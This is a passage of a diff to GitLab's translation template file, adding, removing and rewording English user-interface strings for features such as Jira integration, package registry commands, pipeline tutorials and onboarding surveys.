+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16177,7 +16408,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16192,6 +16423,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16204,6 +16438,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16321,9 +16567,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16354,9 +16597,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16441,9 +16681,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16453,9 +16708,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16609,6 +16861,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16858,6 +17113,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16891,6 +17149,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16903,9 +17164,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16918,6 +17188,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17044,6 +17317,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17083,6 +17359,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17098,10 +17377,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -17137,9 +17416,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17215,6 +17503,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17254,6 +17545,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17293,6 +17587,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17308,9 +17605,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17440,7 +17734,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17638,10 +17932,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17719,7 +18013,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17905,7 +18199,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18139,6 +18433,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18208,12 +18505,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18241,6 +18532,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18286,6 +18598,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18388,6 +18703,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18397,6 +18715,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18430,13 +18754,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18460,7 +18784,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18535,6 +18859,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18550,10 +18877,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18640,7 +18967,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18688,6 +19015,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18703,6 +19042,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18796,6 +19138,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18829,6 +19174,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18856,9 +19204,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18895,6 +19264,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -19138,18 +19510,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19321,6 +19687,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19357,6 +19729,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19852,7 +20227,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -20110,6 +20485,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20197,6 +20575,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20392,6 +20773,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20443,9 +20827,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20734,10 +21115,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20839,6 +21220,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -21013,10 +21397,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21274,6 +21658,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21406,6 +21796,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21433,6 +21826,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21601,9 +21997,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21703,9 +22096,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -22054,7 +22444,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -22081,6 +22471,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22294,6 +22687,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22624,6 +23020,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -23005,7 +23404,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -23104,7 +23503,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23170,6 +23569,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23197,6 +23599,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23239,6 +23644,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23260,6 +23668,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23311,9 +23722,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23323,6 +23743,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23338,6 +23761,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23383,6 +23809,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23395,12 +23824,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23497,7 +23920,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23512,6 +23935,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23563,6 +23989,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23698,6 +24127,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23776,6 +24208,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23830,6 +24265,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23896,6 +24379,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23953,6 +24439,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23974,6 +24463,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -24028,6 +24520,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -24058,9 +24553,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24358,9 +24850,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24397,6 +24895,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24406,6 +24907,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24439,9 +24943,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24469,6 +24970,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24625,6 +25129,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24979,7 +25486,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25237,6 +25744,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25390,9 +25900,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25867,9 +26374,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25921,12 +26425,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25939,6 +26437,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25951,9 +26452,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25969,10 +26467,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
